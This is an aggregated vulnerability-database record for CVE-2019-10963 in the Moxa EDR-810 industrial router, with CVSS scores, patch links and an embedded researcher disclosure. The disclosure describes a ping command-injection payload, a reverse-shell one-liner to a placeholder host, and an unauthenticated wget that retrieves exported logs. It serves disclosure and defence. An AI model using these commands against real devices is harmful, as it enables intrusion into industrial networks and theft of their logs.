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ID

VAR-201910-1701


CVE

CVE-2019-10963


TITLE

Moxa EDR 810 Vulnerable to information disclosure from log files

Trust: 0.8

sources: JVNDB: JVNDB-2019-010937

DESCRIPTION

Moxa EDR 810, all versions 5.1 and prior, allows an unauthenticated attacker to be able to retrieve some log files from the device, which may allow sensitive information disclosure. Log files must have previously been exported by a legitimate user. Moxa EDR 810 Contains a vulnerability related to information disclosure from log files.Information may be obtained. Moxa EDR-810 is a highly integrated industrial multi-port security router with firewall / NAT / VPN and hosted Layer 2 switch functions. During an engagement for a client, RandoriSec found 2 vulnerabilities on Moxa EDR-810 Series Secure Routers. The first one is a command injection vulnerability found on the CLI allowing an authenticated user to obtain root privileges. As usual, we reported those issues directly to Moxa and ICS-CERT (Industrial Control Systems Cyber Emergency Response Team) in order to “responsible disclose†them. The ICS-CERT advisory was published on their website and a new EDR-810 firmware was provided by Moxa. Many thanks to Moxa and ICS-CERT teams for their help. Advisory The following two product vulnerabilities were identified in Moxa’s EDR-810 Series Secure Routers, all versions 5.1 and prior are vulnerable: CVE-2019-10969: An exploitable command injection vulnerability exists in the CLI functionality, which is provided by the Telnet and SSH services. An authenticated attacker (with admin or configadmin privileges) can abuse the ping feature to execute commands on the router. As the CLI is executed with root privileges, it is possible to obtain a root shell on the device. A CVSS v3 base score of 7.2 has been calculated. A CVSS v3 base score of 4.3 has been calculated. Exploitation CVE-2019-10969 - Ping Command Injection The Telnet and SSH services provide a Command Line Interface (CLI), which is a restricted shell allowing to perform a subset of actions on the device. The ping function of the CLI is vulnerable to command injection. It is possible to specify a specific hostname, such as ($/bin/bash), in order to obtain a shell as shown below: Ping command injection Due to limitations on the CLI, it is not possible to use the shell as is. The attacker can use a reverse shell as shown below: bash -i >& /dev/tcp/YOUR_IP_ADDRESS/1234 0>&1 CVE-2019-10963 - Missing Access Control On Log Files When a legitimate user (admin or configadmin for instance) export the logs files from the MOXA router. The files are stored at the root of the webserver, as follow: http://IP_ADDRESS_MOXA/MOXA_All_LOG.tar.gz An attacker can retrieve this archive without being authenticated on the Web interface as shown below: # wget http://192.168.0.1/MOXA_All_LOG.tar.gz --2019-02-13 17:35:19-- http://192.168.0.1/MOXA_All_LOG.tar.gz Connexion à 192.168.0.1:80... connecté. requête HTTP transmise, en attente de la réponse... 200 OK Taille : 15724 (15K) [text/plain] Sauvegarde en : " MOXA_All_LOG.tar.gz " MOXA_All_LOG.tar.gz 100%[====================================================================================================================================>] 15,36K --.-KB/s ds 0s 2019-02-13 17:35:19 (152 MB/s) - " MOXA_All_LOG.tar.gz " sauvegardé [15724/15724] # tar ztvf MOXA_All_LOG.tar.gz drwxr-xr-x admin/root 0 2019-02-13 11:55 moxa_log_all/ -rw-r--r-- admin/root 326899 2019-02-13 11:55 moxa_log_all/MOXA_Firewall_LOG.ini -rw-r--r-- admin/root 156 2019-02-13 11:55 moxa_log_all/MOXA_IPSec_LOG.ini -rw-r--r-- admin/root 68465 2019-02-13 11:55 moxa_log_all/MOXA_LOG.ini Mitigation It is recommended to install at least the firmware version 5.3 from Moxa website. Timeline 2019-02-24: Vendor Disclosure 2019-02-24: Advisory sent to ICS-CERT 2019-09-30: Advisory published by Moxa 2019-10-01: Advisory published by ICS-CERT

Trust: 2.25

sources: NVD: CVE-2019-10963 // JVNDB: JVNDB-2019-010937 // CNVD: CNVD-2019-43364 // PACKETSTORM: 154943

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2019-43364

AFFECTED PRODUCTS

vendor:moxamodel:edr-810scope:lteversion:5.1

Trust: 1.0

vendor:moxamodel:edr-810 seriesscope:lteversion:5.1

Trust: 0.8

vendor:moxamodel:edr-810scope:lteversion:<=5.1

Trust: 0.6

sources: CNVD: CNVD-2019-43364 // JVNDB: JVNDB-2019-010937 // NVD: CVE-2019-10963

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2019-10963
value: MEDIUM

Trust: 1.0

NVD: CVE-2019-10963
value: MEDIUM

Trust: 0.8

CNVD: CNVD-2019-43364
value: MEDIUM

Trust: 0.6

CNNVD: CNNVD-201910-005
value: MEDIUM

Trust: 0.6

nvd@nist.gov: CVE-2019-10963
severity: MEDIUM
baseScore: 4.3
vectorString: AV:N/AC:M/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 8.6
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

CNVD: CNVD-2019-43364
severity: MEDIUM
baseScore: 4.3
vectorString: AV:N/AC:M/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 8.6
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

nvd@nist.gov: CVE-2019-10963
baseSeverity: MEDIUM
baseScore: 4.3
vectorString: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: REQUIRED
scope: UNCHANGED
confidentialityImpact: LOW
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 2.8
impactScore: 1.4
version: 3.1

Trust: 1.0

NVD: CVE-2019-10963
baseSeverity: MEDIUM
baseScore: 4.3
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: REQUIRED
scope: UNCHANGED
confidentialityImpact: LOW
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

sources: CNVD: CNVD-2019-43364 // JVNDB: JVNDB-2019-010937 // CNNVD: CNNVD-201910-005 // NVD: CVE-2019-10963

PROBLEMTYPE DATA

problemtype:NVD-CWE-Other

Trust: 1.0

problemtype:CWE-321

Trust: 1.0

problemtype:CWE-532

Trust: 0.8

sources: JVNDB: JVNDB-2019-010937 // NVD: CVE-2019-10963

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201910-005

TYPE

other

Trust: 0.6

sources: CNNVD: CNNVD-201910-005

CONFIGURATIONS

sources:
            
            
            JVNDB: JVNDB-2019-010937

PATCH
title:EDR-810 Seriesurl:https://www.moxa.com/en/support/search?psid=48041
Trust: 0.8
title:Patch for Moxa EDR-810 Information Disclosure Vulnerability (CNVD-2019-43364)url:https://www.cnvd.org.cn/patchInfo/show/192701
Trust: 0.6
title:Moxa EDR 810 Series Security vulnerabilitiesurl:http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=98757
Trust: 0.6
sources:
            
            
            CNVD: CNVD-2019-43364 // 
            
            
            
            JVNDB: JVNDB-2019-010937 // 
            
            
            
            CNNVD: CNNVD-201910-005

EXTERNAL IDS
db:NVDid:CVE-2019-10963
Trust: 3.1
db:ICS CERTid:ICSA-19-274-03
Trust: 2.4
db:PACKETSTORMid:154943
Trust: 1.7
db:JVNDBid:JVNDB-2019-010937
Trust: 0.8
db:CNVDid:CNVD-2019-43364
Trust: 0.6
db:AUSCERTid:ESB-2019.3697
Trust: 0.6
db:CNNVDid:CNNVD-201910-005
Trust: 0.6
sources:
            
            
            CNVD: CNVD-2019-43364 // 
            
            
            
            JVNDB: JVNDB-2019-010937 // 
            
            
            
            PACKETSTORM: 154943 // 
            
            
            
            CNNVD: CNNVD-201910-005 // 
            
            
            
            NVD: CVE-2019-10963

REFERENCES
url:https://www.us-cert.gov/ics/advisories/icsa-19-274-03
Trust: 2.4
url:https://nvd.nist.gov/vuln/detail/cve-2019-10963
Trust: 2.1
url:http://packetstormsecurity.com/files/154943/moxa-edr-810-command-injection-information-disclosure.html
Trust: 1.6
url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2019-10963
Trust: 0.8
url:https://www.auscert.org.au/bulletins/esb-2019.3697/
Trust: 0.6
url:https://nvd.nist.gov/vuln/detail/cve-2019-10969
Trust: 0.1
url:http://192.168.0.1/moxa_all_log.tar.gz
Trust: 0.1
url:http://ip_address_moxa/moxa_all_log.tar.gz
Trust: 0.1
sources:
            
            
            CNVD: CNVD-2019-43364 // 
            
            
            
            JVNDB: JVNDB-2019-010937 // 
            
            
            
            PACKETSTORM: 154943 // 
            
            
            
            CNNVD: CNNVD-201910-005 // 
            
            
            
            NVD: CVE-2019-10963

CREDITS
RandoriSec
Trust: 0.7
sources:
            
            
            PACKETSTORM: 154943 // 
            
            
            
            CNNVD: CNNVD-201910-005

SOURCES
db:CNVDid:CNVD-2019-43364
db:JVNDBid:JVNDB-2019-010937
db:PACKETSTORMid:154943
db:CNNVDid:CNNVD-201910-005
db:NVDid:CVE-2019-10963

LAST UPDATE DATE
2024-11-23T22:21:24.985000+00:00

SOURCES UPDATE DATE
db:CNVDid:CNVD-2019-43364date:2019-12-03T00:00:00
db:JVNDBid:JVNDB-2019-010937date:2019-10-24T00:00:00
db:CNNVDid:CNNVD-201910-005date:2021-10-29T00:00:00
db:NVDid:CVE-2019-10963date:2024-11-21T04:20:15.277

SOURCES RELEASE DATE
db:CNVDid:CNVD-2019-43364date:2019-12-02T00:00:00
db:JVNDBid:JVNDB-2019-010937date:2019-10-24T00:00:00
db:PACKETSTORMid:154943date:2019-10-23T18:25:18
db:CNNVDid:CNNVD-201910-005date:2019-10-01T00:00:00
db:NVDid:CVE-2019-10963date:2019-10-08T19:15:09.900